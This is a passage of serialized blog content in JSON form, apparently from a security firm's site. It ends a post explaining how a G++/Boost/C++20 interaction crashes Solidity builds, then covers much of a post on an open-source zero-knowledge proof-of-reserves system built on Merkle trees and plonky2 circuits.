",{"type":21,"tag":198,"props":92583,"children":92584},{"style":683},[92585],{"type":27,"value":3174},{"type":21,"tag":198,"props":92587,"children":92588},{"style":226},[92589],{"type":27,"value":33293},{"type":21,"tag":198,"props":92591,"children":92592},{"style":211},[92593],{"type":27,"value":14564},{"type":21,"tag":198,"props":92595,"children":92596},{"style":226},[92597],{"type":27,"value":39910},{"type":21,"tag":198,"props":92599,"children":92600},{"style":211},[92601],{"type":27,"value":1483},{"type":21,"tag":198,"props":92603,"children":92604},{"class":200,"line":344},[92605],{"type":21,"tag":198,"props":92606,"children":92607},{"emptyLinePlaceholder":16},[92608],{"type":27,"value":1283},{"type":21,"tag":198,"props":92610,"children":92611},{"class":200,"line":365},[92612,92616,92620,92624],{"type":21,"tag":198,"props":92613,"children":92614},{"style":640},[92615],{"type":27,"value":643},{"type":21,"tag":198,"props":92617,"children":92618},{"style":211},[92619],{"type":27,"value":648},{"type":21,"tag":198,"props":92621,"children":92622},{"style":683},[92623],{"type":27,"value":686},{"type":21,"tag":198,"props":92625,"children":92626},{"style":211},[92627],{"type":27,"value":92628},"lengthValue)\n",{"type":21,"tag":198,"props":92630,"children":92631},{"class":200,"line":386},[92632],{"type":21,"tag":198,"props":92633,"children":92634},{"style":211},[92635],{"type":27,"value":82224},{"type":21,"tag":198,"props":92637,"children":92638},{"class":200,"line":408},[92639,92643,92647,92651,92655,92659,92663,92667,92671],{"type":21,"tag":198,"props":92640,"children":92641},{"style":640},[92642],{"type":27,"value":92528},{"type":21,"tag":198,"props":92644,"children":92645},{"style":640},[92646],{"type":27,"value":16591},{"type":21,"tag":198,"props":92648,"children":92649},{"style":211},[92650],{"type":27,"value":648},{"type":21,"tag":198,"props":92652,"children":92653},{"style":683},[92654],{"type":27,"value":5383},{"type":21,"tag":198,"props":92656,"children":92657},{"style":211},[92658],{"type":27,"value":90460},{"type":21,"tag":198,"props":92660,"children":92661},{"style":683},[92662],{"type":27,"value":9386},{"type":21,"tag":198,"props":92664,"children":92665},{"style":2540},[92666],{"type":27,"value":3855},{"type":21,"tag":198,"props":92668,"children":92669},{"style":211},[92670],{"type":27,"value":2109},{"type":21,"tag":198,"props":92672,"children":92673},{"style":1233},[92674],{"type":27,"value":92675}," // \u003C-- Infinite recursion happens here\n",{"type":21,"tag":198,"props":92677,"children":92678},{"class":200,"line":429},[92679],{"type":21,"tag":198,"props":92680,"children":92681},{"style":211},[92682],{"type":27,"value":82224},{"type":21,"tag":198,"props":92684,"children":92685},{"class":200,"line":450},[92686],{"type":21,"tag":198,"props":92687,"children":92688},{"style":211},[92689],{"type":27,"value":1120},{"type":21,"tag":30,"props":92691,"children":92692},{},[92693],{"type":27,"value":92694},"Under normal circumstances, this expression is benign. But:",{"type":21,"tag":138,"props":92696,"children":92697},{},[92698,92703,92708],{"type":21,"tag":75,"props":92699,"children":92700},{},[92701],{"type":27,"value":92702},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":21,"tag":75,"props":92704,"children":92705},{},[92706],{"type":27,"value":92707},"C++20 reverses the arguments",{"type":21,"tag":75,"props":92709,"children":92710},{},[92711],{"type":27,"value":92712},"The non-member operator recursively calls itself",{"type":21,"tag":30,"props":92714,"children":92715},{},[92716],{"type":27,"value":92717},"💥: segmentation fault.",{"type":21,"tag":19590,"props":92719,"children":92720},{},[],{"type":21,"tag":22,"props":92722,"children":92724},{"id":92723},"part-v-what-environments-are-affected",[92725],{"type":27,"value":92726},"Part V: What Environments are Affected?",{"type":21,"tag":30,"props":92728,"children":92729},{},[92730],{"type":27,"value":92731},"If a system uses any of the following:",{"type":21,"tag":138,"props":92733,"children":92734},{},[92735,92740,92745],{"type":21,"tag":75,"props":92736,"children":92737},{},[92738],{"type":27,"value":92739},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":21,"tag":75,"props":92741,"children":92742},{},[92743],{"type":27,"value":92744},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":21,"tag":75,"props":92746,"children":92747},{},[92748],{"type":27,"value":92749},"C++20 enabled (default in recent Solidity builds)",{"type":21,"tag":30,"props":92751,"children":92752},{},[92753,92755,92760,92762,92768],{"type":27,"value":92754},"They will encounter this crash ",{"type":21,"tag":6137,"props":92756,"children":92757},{},[92758],{"type":27,"value":92759},"as soon as",{"type":27,"value":92761}," it processes a Solidity source with a length expression like ",{"type":21,"tag":194,"props":92763,"children":92765},{"className":92764},[],[92766],{"type":27,"value":92767},"T[0]",{"type":27,"value":92769}," or anything involving compile-time rational comparisons.",{"type":21,"tag":19590,"props":92771,"children":92772},{},[],{"type":21,"tag":22,"props":92774,"children":92776},{"id":92775},"recommendations",[92777],{"type":27,"value":92778},"Recommendations",{"type":21,"tag":138,"props":92780,"children":92781},{},[92782,92790],{"type":21,"tag":75,"props":92783,"children":92784},{},[92785],{"type":21,"tag":6137,"props":92786,"children":92787},{},[92788],{"type":27,"value":92789},"Update Boost to ≥ 1.75",{"type":21,"tag":75,"props":92791,"children":92792},{},[92793],{"type":21,"tag":6137,"props":92794,"children":92795},{},[92796],{"type":27,"value":92797},"Pin G++ to v14 or later",{"type":21,"tag":19590,"props":92799,"children":92800},{},[],{"type":21,"tag":22,"props":92802,"children":92803},{"id":3586},[92804],{"type":27,"value":3589},{"type":21,"tag":30,"props":92806,"children":92807},{},[92808],{"type":27,"value":92809},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":21,"tag":30,"props":92811,"children":92812},{},[92813,92815,92819],{"type":27,"value":92814},"But it ",{"type":21,"tag":6137,"props":92816,"children":92817},{},[92818],{"type":27,"value":1675},{"type":27,"value":92820}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":21,"tag":30,"props":92822,"children":92823},{},[92824],{"type":27,"value":92825},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":21,"tag":30,"props":92827,"children":92828},{},[92829],{"type":27,"value":92830},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":21,"tag":3645,"props":92832,"children":92833},{},[92834],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":92836},[92837,92838,92843,92846,92847,92848,92849,92850],{"id":90520,"depth":217,"text":90523},{"id":90609,"depth":217,"text":90612,"children":92839},[92840,92841,92842],{"id":90615,"depth":236,"text":90618},{"id":90683,"depth":236,"text":90686},{"id":90774,"depth":236,"text":90777},{"id":91358,"depth":217,"text":91361,"children":92844},[92845],{"id":91364,"depth":236,"text":91367},{"id":91475,"depth":217,"text":91478},{"id":92322,"depth":217,"text":92325},{"id":92723,"depth":217,"text":92726},{"id":92775,"depth":217,"text":92778},{"id":3586,"depth":217,"text":3589},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":92855,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92856,"description":92857,"date":92858,"author":12,"image":92859,"isFeatured":16,"onBlogPage":16,"tags":92861,"body":92864,"_type":3671,"_id":97640,"_source":3673,"_file":97641,"_stem":97642,"_extension":3676},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":92860,"width":14430,"height":14430},"/posts/por/title.png",[92862,92863],"zk","por",{"type":18,"children":92865,"toc":97617},[92866,92872,92884,92896,92901,92933,92947,92953,92965,92970,92975,93012,93017,93023,93028,93035,93040,93066,93071,93077,93097,93111,93119,93124,93129,93137,93150,93156,93238,93244,93249,93262,93267,93274,93298,93306,93311,93317,93322,93770,93783,93789,93794,93802,93820,93828,93841,93849,95510,95515,95522,95528,95533,95540,95556,95563,95571,95578,97089,97094,97101,97107,97112,97139,97144,97163,97169,97177,97195,97244,97252,97271,97293,97299,97312,97317,97324,97329,97392,97397,97404,97424,97430,97435,97441,97446,97490,97495,97503,97509,97514,97556,97561,97569,97574,97582,97586,97591,97604],{"type":21,"tag":22,"props":92867,"children":92869},{"id":92868},"what-is-a-proof-of-reserves",[92870],{"type":27,"value":92871},"What is a Proof of Reserves?",{"type":21,"tag":30,"props":92873,"children":92874},{},[92875,92877,92882],{"type":27,"value":92876},"At its heart, ",{"type":21,"tag":6137,"props":92878,"children":92879},{},[92880],{"type":27,"value":92881},"Proof of Reserves (PoR)",{"type":27,"value":92883}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":21,"tag":30,"props":92885,"children":92886},{},[92887,92889,92894],{"type":27,"value":92888},"Think of it this way: ",{"type":21,"tag":6137,"props":92890,"children":92891},{},[92892],{"type":27,"value":92893},"PoR",{"type":27,"value":92895}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":21,"tag":30,"props":92897,"children":92898},{},[92899],{"type":27,"value":92900},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":21,"tag":30,"props":92902,"children":92903},{},[92904,92906,92913,92915,92922,92924,92931],{"type":27,"value":92905},"We from OtterSec, in partnership with ",{"type":21,"tag":34,"props":92907,"children":92910},{"href":92908,"rel":92909},"https://backpack.exchange/",[38],[92911],{"type":27,"value":92912},"Backpack",{"type":27,"value":92914},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":21,"tag":34,"props":92916,"children":92919},{"href":92917,"rel":92918},"https://github.com/otter-sec/por_v2",[38],[92920],{"type":27,"value":92921},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":27,"value":92923}," was based on ",{"type":21,"tag":34,"props":92925,"children":92928},{"href":92926,"rel":92927},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[38],[92929],{"type":27,"value":92930},"OKX Proof of Reserves algorithm",{"type":27,"value":92932}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":21,"tag":30,"props":92934,"children":92935},{},[92936,92938,92945],{"type":27,"value":92937},"In addition, we also created and open-sourced a ",{"type":21,"tag":34,"props":92939,"children":92942},{"href":92940,"rel":92941},"https://github.com/otter-sec/por_verifier_server",[38],[92943],{"type":27,"value":92944},"PoR verifier server",{"type":27,"value":92946}," that receives the proofs and validates them.",{"type":21,"tag":22,"props":92948,"children":92950},{"id":92949},"why-do-we-use-zk-for-por",[92951],{"type":27,"value":92952},"Why do we use ZK for PoR?",{"type":21,"tag":30,"props":92954,"children":92955},{},[92956,92958,92963],{"type":27,"value":92957},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":21,"tag":6137,"props":92959,"children":92960},{},[92961],{"type":27,"value":92962},"Zero-Knowledge Proofs (ZKPs)",{"type":27,"value":92964}," become game-changers.",{"type":21,"tag":30,"props":92966,"children":92967},{},[92968],{"type":27,"value":92969},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":21,"tag":30,"props":92971,"children":92972},{},[92973],{"type":27,"value":92974},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":21,"tag":71,"props":92976,"children":92977},{},[92978,92995],{"type":21,"tag":75,"props":92979,"children":92980},{},[92981,92986,92988,92994],{"type":21,"tag":6137,"props":92982,"children":92983},{},[92984],{"type":27,"value":92985},"Sum proof",{"type":27,"value":92987},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":21,"tag":194,"props":92989,"children":92991},{"className":92990},[],[92992],{"type":27,"value":92993},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":27,"value":3394},{"type":21,"tag":75,"props":92996,"children":92997},{},[92998,93003,93005,93010],{"type":21,"tag":6137,"props":92999,"children":93000},{},[93001],{"type":27,"value":93002},"Non-negativity",{"type":27,"value":93004},": All users have a ",{"type":21,"tag":6137,"props":93006,"children":93007},{},[93008],{"type":27,"value":93009},"positive",{"type":27,"value":93011}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":21,"tag":30,"props":93013,"children":93014},{},[93015],{"type":27,"value":93016},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":21,"tag":22,"props":93018,"children":93020},{"id":93019},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[93021],{"type":27,"value":93022},"What is a Merkle Tree and how does it help in a PoR?",{"type":21,"tag":30,"props":93024,"children":93025},{},[93026],{"type":27,"value":93027},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":21,"tag":30,"props":93029,"children":93030},{},[93031],{"type":21,"tag":1376,"props":93032,"children":93034},{"alt":50954,"src":93033},"/posts/por/merkle-tree.png",[],{"type":21,"tag":30,"props":93036,"children":93037},{},[93038],{"type":27,"value":93039},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":21,"tag":71,"props":93041,"children":93042},{},[93043,93056,93061],{"type":21,"tag":75,"props":93044,"children":93045},{},[93046,93048,93054],{"type":27,"value":93047},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":21,"tag":194,"props":93049,"children":93051},{"className":93050},[],[93052],{"type":27,"value":93053},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":27,"value":93055},");",{"type":21,"tag":75,"props":93057,"children":93058},{},[93059],{"type":27,"value":93060},"The Merkle tree is made public;",{"type":21,"tag":75,"props":93062,"children":93063},{},[93064],{"type":27,"value":93065},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":21,"tag":30,"props":93067,"children":93068},{},[93069],{"type":27,"value":93070},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":21,"tag":22,"props":93072,"children":93074},{"id":93073},"ottersec-porv2",[93075],{"type":27,"value":93076},"OtterSec PoRv2",{"type":21,"tag":30,"props":93078,"children":93079},{},[93080,93086,93088,93095],{"type":21,"tag":34,"props":93081,"children":93083},{"href":92917,"rel":93082},[38],[93084],{"type":27,"value":93085},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":27,"value":93087},", which uses the ",{"type":21,"tag":34,"props":93089,"children":93092},{"href":93090,"rel":93091},"https://github.com/0xPolygonZero/plonky2",[38],[93093],{"type":27,"value":93094},"plonky2 ZK algorithm",{"type":27,"value":93096}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":21,"tag":30,"props":93098,"children":93099},{},[93100,93102,93109],{"type":27,"value":93101},"We named it PoRv2 because we already had a version based on ",{"type":21,"tag":34,"props":93103,"children":93106},{"href":93104,"rel":93105},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[38],[93107],{"type":27,"value":93108},"Vitalik's proof of solvency",{"type":27,"value":93110},", which was not optimal.",{"type":21,"tag":30,"props":93112,"children":93113},{},[93114],{"type":21,"tag":6137,"props":93115,"children":93116},{},[93117],{"type":27,"value":93118},"Non-negativity Proof",{"type":21,"tag":30,"props":93120,"children":93121},{},[93122],{"type":27,"value":93123},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":21,"tag":30,"props":93125,"children":93126},{},[93127],{"type":27,"value":93128},"We also check for overflows during summation to prevent tampering in the final result.",{"type":21,"tag":30,"props":93130,"children":93131},{},[93132],{"type":21,"tag":6137,"props":93133,"children":93134},{},[93135],{"type":27,"value":93136},"Sum Proof",{"type":21,"tag":30,"props":93138,"children":93139},{},[93140,93142,93148],{"type":27,"value":93141},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":21,"tag":194,"props":93143,"children":93145},{"className":93144},[],[93146],{"type":27,"value":93147},"BTC final: user1_btc + user2_btc ...",{"type":27,"value":93149},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":21,"tag":59,"props":93151,"children":93153},{"id":93152},"what-are-the-ottersec-porv2-key-points",[93154],{"type":27,"value":93155},"What are the OtterSec PoRv2 key points?",{"type":21,"tag":71,"props":93157,"children":93158},{},[93159,93169,93187,93197,93228],{"type":21,"tag":75,"props":93160,"children":93161},{},[93162,93167],{"type":21,"tag":6137,"props":93163,"children":93164},{},[93165],{"type":27,"value":93166},"Transparency",{"type":27,"value":93168},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":21,"tag":75,"props":93170,"children":93171},{},[93172,93177,93179,93186],{"type":21,"tag":6137,"props":93173,"children":93174},{},[93175],{"type":27,"value":93176},"Time-efficiency",{"type":27,"value":93178},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":21,"tag":34,"props":93180,"children":93183},{"href":93181,"rel":93182},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[38],[93184],{"type":27,"value":93185},"Check our benchmark",{"type":27,"value":658},{"type":21,"tag":75,"props":93188,"children":93189},{},[93190,93195],{"type":21,"tag":6137,"props":93191,"children":93192},{},[93193],{"type":27,"value":93194},"Memory-efficiency",{"type":27,"value":93196},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":21,"tag":75,"props":93198,"children":93199},{},[93200,93205,93207,93212,93214,93219,93221,93226],{"type":21,"tag":6137,"props":93201,"children":93202},{},[93203],{"type":27,"value":93204},"Small-proofs",{"type":27,"value":93206},": We were able to reduce the final proof to less than ",{"type":21,"tag":6137,"props":93208,"children":93209},{},[93210],{"type":27,"value":93211},"500KB",{"type":27,"value":93213}," and each inclusion proof to ",{"type":21,"tag":6137,"props":93215,"children":93216},{},[93217],{"type":27,"value":93218},"~52KB",{"type":27,"value":93220},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":21,"tag":6137,"props":93222,"children":93223},{},[93224],{"type":27,"value":93225},"200MB",{"type":27,"value":93227}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":21,"tag":75,"props":93229,"children":93230},{},[93231,93236],{"type":21,"tag":6137,"props":93232,"children":93233},{},[93234],{"type":27,"value":93235},"Privacy",{"type":27,"value":93237},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":21,"tag":22,"props":93239,"children":93241},{"id":93240},"zk-circuits",[93242],{"type":27,"value":93243},"ZK Circuits",{"type":21,"tag":30,"props":93245,"children":93246},{},[93247],{"type":27,"value":93248},"We use two different ZK circuits to generate the final proof:",{"type":21,"tag":71,"props":93250,"children":93251},{},[93252,93257],{"type":21,"tag":75,"props":93253,"children":93254},{},[93255],{"type":27,"value":93256},"Batch circuit",{"type":21,"tag":75,"props":93258,"children":93259},{},[93260],{"type":27,"value":93261},"Recursive circuit",{"type":21,"tag":30,"props":93263,"children":93264},{},[93265],{"type":27,"value":93266},"With those two circuits, we can generate the proofs recursive tree:",{"type":21,"tag":30,"props":93268,"children":93269},{},[93270],{"type":21,"tag":1376,"props":93271,"children":93273},{"alt":50954,"src":93272},"/posts/por/batch-circuit.png",[],{"type":21,"tag":3741,"props":93275,"children":93276},{},[93277],{"type":21,"tag":30,"props":93278,"children":93279},{},[93280,93282,93288,93290,93296],{"type":27,"value":93281},"Note: We are using 512 as ",{"type":21,"tag":194,"props":93283,"children":93285},{"className":93284},[],[93286],{"type":27,"value":93287},"BATCH_SIZE",{"type":27,"value":93289}," and 8 as ",{"type":21,"tag":194,"props":93291,"children":93293},{"className":93292},[],[93294],{"type":27,"value":93295},"RECURSIVE_SIZE",{"type":27,"value":93297}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":21,"tag":3741,"props":93299,"children":93300},{},[93301],{"type":21,"tag":30,"props":93302,"children":93303},{},[93304],{"type":27,"value":93305},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":21,"tag":30,"props":93307,"children":93308},{},[93309],{"type":27,"value":93310},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":21,"tag":59,"props":93312,"children":93314},{"id":93313},"leaf-nodes",[93315],{"type":27,"value":93316},"Leaf Nodes",{"type":21,"tag":30,"props":93318,"children":93319},{},[93320],{"type":27,"value":93321},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":21,"tag":30,"props":93323,"children":93324},{},[93325],{"type":21,"tag":194,"props":93326,"children":93328},{"className":93327},[4794,4795],[93329],{"type":21,"tag":198,"props":93330,"children":93332},{"className":93331},[4800],[93333],{"type":21,"tag":198,"props":93334,"children":93336},{"className":93335,"ariaHidden":4806},[4805],[93337,93364],{"type":21,"tag":198,"props":93338,"children":93340},{"className":93339},[4811],[93341,93346,93351,93355,93360],{"type":21,"tag":198,"props":93342,"children":93345},{"className":93343,"style":93344},[4816],"height:0.6944em;",[],{"type":21,"tag":198,"props":93347,"children":93349},{"className":93348},[4822,22381],[93350],{"type":27,"value":84727},{"type":21,"tag":198,"props":93352,"children":93354},{"className":93353,"style":4998},[4901],[],{"type":21,"tag":198,"props":93356,"children":93358},{"className":93357},[5003],[93359],{"type":27,"value":3174},{"type":21,"tag":198,"props":93361,"children":93363},{"className":93362,"style":4998},[4901],[],{"type":21,"tag":198,"props":93365,"children":93367},{"className":93366},[4811],[93368,93373,93378,93384,93389,93394,93400,93405,93410,93415,93421,93426,93432,93438,93445,93451,93457,93517,93522,93528,93533,93538,93543,93548,93553,93558,93563,93568,93573,93630,93635,93640,93645,93650,93655,93660,93667,93672,93678,93683,93689,93695,93700,93705,93710,93715,93720,93725,93730,93735,93740,93745,93750,93755,93760,93765],{"type":21,"tag":198,"props":93369,"children":93372},{"className":93370,"style":93371},[4816],"height:1.06em;vertical-align:-0.31em;",[],{"type":21,"tag":198,"props":93374,"children":93376},{"className":93375,"style":22382},[4822,22381],[93377],{"type":27,"value":22385},{"type":21,"tag":198,"props":93379,"children":93381},{"className":93380},[4822,22381],[93382],{"type":27,"value":93383},"ose",{"type":21,"tag":198,"props":93385,"children":93387},{"className":93386},[4822,22381],[93388],{"type":27,"value":4544},{"type":21,"tag":198,"props":93390,"children":93392},{"className":93391},[4822,22381],[93393],{"type":27,"value":70944},{"type":21,"tag":198,"props":93395,"children":93397},{"className":93396},[4822,22381],[93398],{"type":27,"value":93399},"o",{"type":21,"tag":198,"props":93401,"children":93403},{"className":93402},[4822,22381],[93404],{"type":27,"value":56780},{"type":21,"tag":198,"props":93406,"children":93408},{"className":93407},[22510],[93409],{"type":27,"value":706},{"type":21,"tag":198,"props":93411,"children":93413},{"className":93412},[4822,22381],[93414],{"type":27,"value":34},{"type":21,"tag":198,"props":93416,"children":93418},{"className":93417},[4822,22381],[93419],{"type":27,"value":93420},"sse",{"type":21,"tag":198,"props":93422,"children":93424},{"className":93423},[4822,22381],[93425],{"type":27,"value":22523},{"type":21,"tag":198,"props":93427,"children":93430},{"className":93428,"style":93429},[4822],"margin-right:0.02778em;",[93431],{"type":27,"value":3891},{"type":21,"tag":198,"props":93433,"children":93435},{"className":93434},[4822,22381],[93436],{"type":27,"value":93437},"ba",{"type":21,"tag":198,"props":93439,"children":93442},{"className":93440,"style":93441},[4822,22381],"margin-right:0.01968em;",[93443],{"type":27,"value":93444},"l",{"type":21,"tag":198,"props":93446,"children":93448},{"className":93447},[4822,22381],[93449],{"type":27,"value":93450},"an",{"type":21,"tag":198,"props":93452,"children":93454},{"className":93453},[4822,22381],[93455],{"type":27,"value":93456},"ce",{"type":21,"tag":198,"props":93458,"children":93460},{"className":93459},[4822],[93461,93466],{"type":21,"tag":198,"props":93462,"children":93464},{"className":93463},[4822,22381],[93465],{"type":27,"value":11460},{"type":21,"tag":198,"props":93467,"children":93469},{"className":93468},[4837],[93470],{"type":21,"tag":198,"props":93471,"children":93473},{"className":93472},[4842,22435],[93474,93505],{"type":21,"tag":198,"props":93475,"children":93477},{"className":93476},[4847],[93478,93500],{"type":21,"tag":198,"props":93479,"children":93482},{"className":93480,"style":93481},[4852],"height:0.3011em;",[93483],{"type":21,"tag":198,"props":93484,"children":93486},{"style":93485},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[93487,93491],{"type":21,"tag":198,"props":93488,"children":93490},{"className":93489,"style":4862},[4861],[],{"type":21,"tag":198,"props":93492,"children":93494},{"className":93493},[4867,4868,4869,4870],[93495],{"type":21,"tag":198,"props":93496,"children":93498},{"className":93497},[4822,4870],[93499],{"type":27,"value":3482},{"type":21,"tag":198,"props":93501,"children":93503},{"className":93502},[22538],[93504],{"type":27,"value":22541},{"type":21,"tag":198,"props":93506,"children":93508},{"className":93507},[4847],[93509],{"type":21,"tag":198,"props":93510,"children":93513},{"className":93511,"style":93512},[4852],"height:0.15em;",[93514],{"type":21,"tag":198,"props":93515,"children":93516},{},[],{"type":21,"tag":198,"props":93518,"children":93520},{"className":93519},[4901],[93521],{"type":27,"value":22482},{"type":21,"tag":198,"props":93523,"children":93525},{"className":93524},[4822],[93526],{"type":27,"value":93527},"∣∣",{"type":21,"tag":198,"props":93529,"children":93531},{"className":93530},[4901],[93532],{"type":27,"value":22482},{"type":21,"tag":198,"props":93534,"children":93536},{"className":93535},[4822,22381],[93537],{"type":27,"value":34},{"type":21,"tag":198,"props":93539,"children":93541},{"className":93540},[4822,22381],[93542],{"type":27,"value":93420},{"type":21,"tag":198,"props":93544,"children":93546},{"className":93545},[4822,22381],[93547],{"type":27,"value":22523},{"type":21,"tag":198,"props":93549,"children":93551},{"className":93550,"style":93429},[4822],[93552],{"type":27,"value":3891},{"type":21,"tag":198,"props":93554,"children":93556},{"className":93555},[4822,22381],[93557],{"type":27,"value":93437},{"type":21,"tag":198,"props":93559,"children":93561},{"className":93560,"style":93441},[4822,22381],[93562],{"type":27,"value":93444},{"type":21,"tag":198,"props":93564,"children":93566},{"className":93565},[4822,22381],[93567],{"type":27,"value":93450},{"type":21,"tag":198,"props":93569,"children":93571},{"className":93570},[4822,22381],[93572],{"type":27,"value":93456},{"type":21,"tag":198,"props":93574,"children":93576},{"className":93575},[4822],[93577,93582],{"type":21,"tag":198,"props":93578,"children":93580},{"className":93579},[4822,22381],[93581],{"type":27,"value":11460},{"type":21,"tag":198,"props":93583,"children":93585},{"className":93584},[4837],[93586],{"type":21,"tag":198,"props":93587,"children":93589},{"className":93588},[4842,22435],[93590,93619],{"type":21,"tag":198,"props":93591,"children":93593},{"className":93592},[4847],[93594,93614],{"type":21,"tag":198,"props":93595,"children":93597},{"className":93596,"style":93481},[4852],[93598],{"type":21,"tag":198,"props":93599,"children":93600},{"style":93485},[93601,93605],{"type":21,"tag":198,"props":93602,"children":93604},{"className":93603,"style":4862},[4861],[],{"type":21,"tag":198,"props":93606,"children":93608},{"className":93607},[4867,4868,4869,4870],[93609],{"type":21,"tag":198,"props":93610,"children":93612},{"className":93611},[4822,4870],[93613],{"type":27,"value":134},{"type":21,"tag":198,"props":93615,"children":93617},{"className":93616},[22538],[93618],{"type":27,"value":22541},{"type":21,"tag":198,"props":93620,"children":93622},{"className":93621},[4847],[93623],{"type":21,"tag":198,"props":93624,"children":93626},{"className":93625,"style":93512},[4852],[93627],{"type":21,"tag":198,"props":93628,"children":93629},{},[],{"type":21,"tag":198,"props":93631,"children":93633},{"className":93632},[4901],[93634],{"type":27,"value":22482},{"type":21,"tag":198,"props":93636,"children":93638},{"className":93637},[4822],[93639],{"type":27,"value":10402},{"type":21,"tag":198,"props":93641,"children":93643},{"className":93642},[4901],[93644],{"type":27,"value":22482},{"type":21,"tag":198,"props":93646,"children":93648},{"className":93647},[4822],[93649],{"type":27,"value":93527},{"type":21,"tag":198,"props":93651,"children":93653},{"className":93652},[4901],[93654],{"type":27,"value":22482},{"type":21,"tag":198,"props":93656,"children":93658},{"className":93657,"style":22840},[4822,22381],[93659],{"type":27,"value":22843},{"type":21,"tag":198,"props":93661,"children":93664},{"className":93662,"style":93663},[4822,22381],"margin-right:0.08125em;",[93665],{"type":27,"value":93666},"H",{"type":21,"tag":198,"props":93668,"children":93670},{"className":93669},[4822,22381],[93671],{"type":27,"value":77149},{"type":21,"tag":198,"props":93673,"children":93675},{"className":93674},[4822],[93676],{"type":27,"value":93677},"256",{"type":21,"tag":198,"props":93679,"children":93681},{"className":93680},[22510],[93682],{"type":27,"value":706},{"type":21,"tag":198,"props":93684,"children":93686},{"className":93685},[4822,22381],[93687],{